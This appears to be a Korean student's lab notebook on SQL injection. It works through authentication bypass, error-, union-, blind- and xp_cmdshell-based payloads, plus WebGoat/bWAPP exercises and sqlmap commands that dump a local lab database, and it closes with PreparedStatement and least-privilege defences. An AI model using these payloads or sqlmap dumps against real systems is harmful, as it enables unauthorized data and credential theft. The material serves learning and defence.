win10 프로세스 강제 종료
$ taskkill /pid 프로세스번호 /f
각 가상 머신의 계정
- winXP (id: administrator / pw: p@ssw0rd)
- kali linux (id: kali / pw: kali)
- bee box (id: bee / pw: bug)
$ ipconfig
$ ifconfig
192.168.56.1 victim # host pc
192.168.10.128 winxp
192.168.10.130 beebox
192.168.10.129 attacker # kali linux
$ notepad c:\windows\System32\drivers\etc\hosts
$ sudo apt update
$ sudo apt install gedit /etc/hosts
$ sudo gedit /etc/hosts
칼리 리눅스 한국어 설정
🔗 한글 입력기 추가하는 방법
먼저 어떤 값들이 입력되고 전달되고 사용되는지 먼저 유추해야한다.
사용자 화면에서 입력한 값이 서버로 전달되어 그대로 사용되는지 확인.
아이디가 a, 비밀번호가 b라고 가정한 경우
SELECT * FROM users WHERE id='a'' and pw='b''
여기서 '
는 문자열의 시작과 끝을 나타내는데 이걸 연속으로 쓰면 '
그 자체를 나타낸다. 그말은 즉슨 '
를 본래 용도가 아닌 문자로 인식되도록 escape 시킨다. 이런 쿼리가 서버로 전달되면 해석할 수 없는 쿼리가 되어 구문 오류가 발생된다.
이 오류 페이지에서 이 사이트의 정보를 수집한다.
구조를 깨는 쿼리문
SELECT * FROM users WHERE id='a' #' and pw='b' #'
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
인라인 주석으로 해석 X
로그인을 하기 위해서는 식별정보와 인증정보가 필요했으나 위 방식을 이용하면 식별정보만으로 로그인할 수 있게 되었다. 이런 경우를
로그인을 처리하는 쿼리문의 구조와 의미가 변형되었다. 고 말한다.
해당 사이트에 가입된 회원의 ID를 조회하기 위해 회원가입을 이용한다.
계정이 존재한다면 이미 가입되었다고 나타난다.
admin으로 로그인
SELECT * FROM users WHERE id='admin' #' and pw='b' #'
이 일련의 과정을 SQL Injection 취약점을 이용한 인증과정 우회라고 한다.
ID/PW를 확인하는 정상적인 인증과정을 거치지 않고 로그인을 수행하는 것을 말한다.
Error Based SQL Injection
예시) '
홑따옴표를 이용하기
ID 컬럼 값으로 문자열 사용할 수 없습니다. 메세지가 출력되면 ID 컬럼은 Number 타입인 것을 알 수 있다.
SELECT * FROM member WHERE id=123'
항상 참이 되는 입력
예시) 모든 회원 정보 조회
SELECT * FROM member WHERE id = 123 or 1 = 1
Union Based SQL Injection
예시
SELECT * FROM member WHERE id = 123 and 1 = 2 UNION SELECT 1, 2, 3, 4 from tabe_name
Stored Procedure Based SQL Injection
예시
SELECT * FROM member WHERE id = 123 ; exec xp_cmdshell 'cmd.exe /c dir'
;
: 쿼리문의 종결을 의미exec
: Stored Procedure를 실행xp_cmdshell
: MS-SQL에서 제공하는 시스템인 Stored Procedure로 매개변수로 전달된 값을 DBMS의 쉘에서 실행하고 그 결과를 반환'cmd.exe /c dir
: 현재 디렉터리의 내용 반환Blind SQL Injection
예시
SELECT * FROM member WHERE id = 123
SELECT * FROM member WHERE id = 999
SELECT * FROM member WHERE id = 123 and 1 = 1
SELECT * FROM member WHERE id = 999 and 1 = 2
and 1 = 1 ⇒ ID가 123인 사용자의 정보가 제공
and 1 = 2 ⇒ 존재하지 않습니다. 메시지가 제공
SELECT * FROM member WHERE id = 123 and 공격자가 알고자 하는 정보를 조회하는 쿼리
사용자 정보가 제공되면 쿼리의 실행 결과가 참인 것을 메시지가 제공되면 쿼리의 실행 결과가 거짓인 것을 알 수 있음
입력 → 처리 → 출력
<input type="text" name="id" maxlength="8">
입력 : 입력값의 길이를 제한
1. 내용 분석
사용자 화면에서 입력되는 내용 분석
Naville 사용자로 로그인하기 위해 설정되어야 하는 값
서버 내부에서의 처리 예측
예상 쿼리문
SELECT * FROM employee WHERE employee_id=112 and password='pw'
SELECT * FROM employee WHERE employee_id=112 and password='a' or 'a'='a'
1. 내용 분석
Enter your last name : Smith
입력 후 Go!
클릭 > Burp Suit로 패킷 Intercept SELECT * FROM user_data WHERE last_name = 'Smith' or '1'='1'
항상 참이되는 조건으로 last name이 Smith 이거나 아닌 사람들의 정보까지 출력될 것이다.
소스 코드 분석
옵션 선택 > Go! 확인
Burpsuit로 패킷 Intercept > Station 값 조작
SELECT * FROM weather_data WHERE station = 101' or '1'='1
쿼리문에서 예상치 못한 'or'
토큰이 발견되었다는 에러 메세지가 발생되었다.
SQL쿼리에서
예상치 못한 토큰
이란? 토큰은 프로그래핑 언어에서 의미있는 최소 단위로 SQL에서는 키워드(Select, From, Where 등), 연산자(=, <>, >, < 등), 식별자(테이블 이름, 컬럼 이름 등), 상수(문자열, 숫자 등) 등이 토큰이 될 수 있다.
SQL쿼리는 이러한 토큰들이 특정한 순서와 구조를 이뤄야하는데 예를 들어 Select 다음에는 컬럼이름이 만약 이런 순서나 구조가 어긋나면 "예상치 못한 토큰"이라는 에러가 발생된다.
""
쌍따옴표로 바꿔서 실행해봤다.
쿼리문에서 숫자를 파싱하는 고중 문제가 발생했다는 에러가 발생됐다.
"101" or "1"="1"
이 부분을 숫자로 해석하려고 했지만 문자열이어서 NumberFormatException이 발생했다고 한다.
숫자로 인식할 수 있도록 쿼리문에서 따옴표 제거 후 재시도
결과확인
항상 참인 조건의 쿼리문이 성공적으로 실행되어 날짜데이터를 전부 가져오고 있는 것을 알 수 있다.
protected Element injectableQuery(WebSession s){
ElementContainer ec = new ElementContainer();
try{
ec.addElement(makeStationList(s));
String query;
station = s.getParser().getRawParameter(STATION_ID, null);
if (station == null){
query = "SELECT * FROM weather_data WHERE station = [station]";
}else{
// #1 쿼리문의 구조를 정의
// ~~~~~~~~~~
// 변수 부분을 물음표(?)로 마킹
// 변수의 데이터 타입은 고려하지 않음
// query = "SELECT * FROM weather_data WHERE station = " + station;
query = "SELECT * FROM weather_data WHERE station = ? ";
}
ec.addElement(new PRE(query));
if (station == null) return ec;
Connection connection = DatabaseUtilities.getConnection(s);
try{
// #2 PreparedStatement 객체를 생성
// Connection.prepareStatement() 메서드를 이용해서 생성하고,
// 쿼리의 구조를 매개변수로 전달해야 함
// Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
// #3 쿼리 실행에 필요한 변수를 setter 메서드를 이용해서 설정하고 쿼리를 실행
// 변수 타입에 맞는 setter 메서드를 사용
// ResultSet results = statement.executeQuery(query);
statement.setInt(1, Integer.parseInt(station));
ResultSet results = statement.executeQuery();
pins 테이블에서 cc_number가 1111222233334444인 행의 pin이 있는 모든 행
소스코드 분석
공격시도
예상 쿼리문
SELECT * FROM accounts WHERE account_number=101
존재O Account number is valid.
존재X Invalid account number.
공격자가 원하는 쿼리문
SELECT * FROM accounts WHERE account_number=101 and (SELECT pin FROM pins WHERE cc_number='1111222233334444') = 핀 넘버
효율적인 공격을 위해 범위 연산 추가하기
SELECT * FROM accounts WHERE account_number=101 and (SELECT pin FROM pins WHERE cc_number = '1111222233334444') > 1000
최종적으로 찾고자 하는 값
SELECT * FROM accounts WHERE account_number=101 and (SELECT pin FROM pins WHERE cc_number = '1111222233334444') = 2364
예상 쿼리문
select * from accounts where account_number = 101 and (select name from pins where cc_number = '4321432143214321') = '찾고자하는값'
효율성을 위해서 이름 데이터의 각 자리를 아스키 코드로 만들어 범위 연산을 수행 - 매개변수에 해당하는 ASCII 코드(10진수)를 반환
select * from accounts where account_number = 101 and (select ascii(substr(name, 1, 1)) from pins where cc_number = '4321432143214321') < 46
최종적으로 찾고자하는 값
select * from accounts where account_number = 101 and (select name from pins where cc_number = '4321432143214321') = 'Jill'
결과 확인
계정 탈취하기
소스코드 확인
내부 처리 유추하기 - 예상 쿼리문
/* man으로 시작하거나 끝나는 제목이 있으면 모두 가져오기 */
SELECT * FROM movies WHERE title like '%man%'
검색창에 man' %'
입력해서 오류 발생시키기
집합 연산자 UNION을 이용해서 원하는 데이터를 조회하도록 쿼리문 작성
SELECT * FROM movies WHERE title like '%man' UNION 공격자가 원하는 데이터를 조회하는 쿼리 --%
BUT 조회할 때 컬럼 수가 동일해야하기 때문에 먼저 컬럼의 개수를 확인해야한다.
/* movies 테이블의 모든 레코드를 찾고, 그 결과를 첫 번째 컬럼의 값에 따라 정렬 */
SELECT * FROM movies WHERE title like '%man' or 'a'='a' order by 1 -- %
검색창에 man' or 'a'='a' order by 1 --
검색 후 결과 확인
Error가 뜰 때까지 order by 숫자를 증가시키기
컬럼이 7개 있다는 것을 확인했다.
모든 컬럼이 출력에 사용되고 있지 않을 수 있기 때문에 출력 위치와 사용되는 컬럼을 확인한다.
SELECT * FROM movies WHERE title like '%man' and 'a'='b' UNION SELECT 1,2,3,4,5,6,7 -- %'
검색창에 man' and 'a'='b' UNION SELECT 1,2,3,4,5,6,7 --
검색 후 컬럼 확인
MySQL 서버 버전 확인해보기
SELECT * FROM movies WHERE title like '%man' and 'a'='b' UNION SELECT 1,@@version,3,4,5,6,7 -- %'
INFORMATION_SCHEMA
를 사용해 스키마 테이블 이름 모두 가져오기
참고
https://dev.mysql.com/doc/refman/8.0/en/information-schema.html
SELECT * FROM movies WHERE title like '%man' and 'a'='b' UNION SELECT 1,table_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = SCHEMA() -- %'
users 테이블에서 컬럼 정보 검색해보자
SELECT * FROM movies WHERE title like '%man' and 'a'='b' UNION SELECT 1,column_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users' -- %'
users 테이블에서 id, login, password 컬럼을 조회해보자
SELECT * FROM movies WHERE title like '%man' and 'a'='b' UNION SELECT 1,id,login,password,5,6,7 FROM users -- %'
여기서 password는 단방향 해시값으로 암호화되어 저장되었다는 것을 알 수 있다.
kali linux에서 openeg 접속 http://victim:8080/openeg/
sqlmap 설치
$ sudo apt update
$ sudo apt install sqlmap -y
sqlmap으로 스캐닝하기
$ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2
데이터베이스 목록을 조회
$ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 --dbs
opened 데이터베이스가 가지고 있는 테이블 정보를 조회
$ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 -D openeg --tables
board_member 테이블에 컬럼 정보를 조회
$ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 -D openeg -T board_member --columns
board_member 테이블에 데이터를 조회
$ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 -D openeg -T board_member --dump
주의! 절대 외부 사이트(특히, 공공기관, 금융기관)를 대상으로
sqlmap
을 실행하면 안된다.
#
기호를 사용SELECT * FROM USER WHERE col = #{값}
오류 메세지에 시스템 중요 정보가 포함되지 않도록 한다.
와어플리케이션에서 사용하는 DB 사용자 계정의 권한을 최소한으로 설정한다.
는 SQL Injection 공격을 직접적으로 방어하는 것이 아니고 SQL Injection 공격이 확산되는 것을 방어하는 기법이다.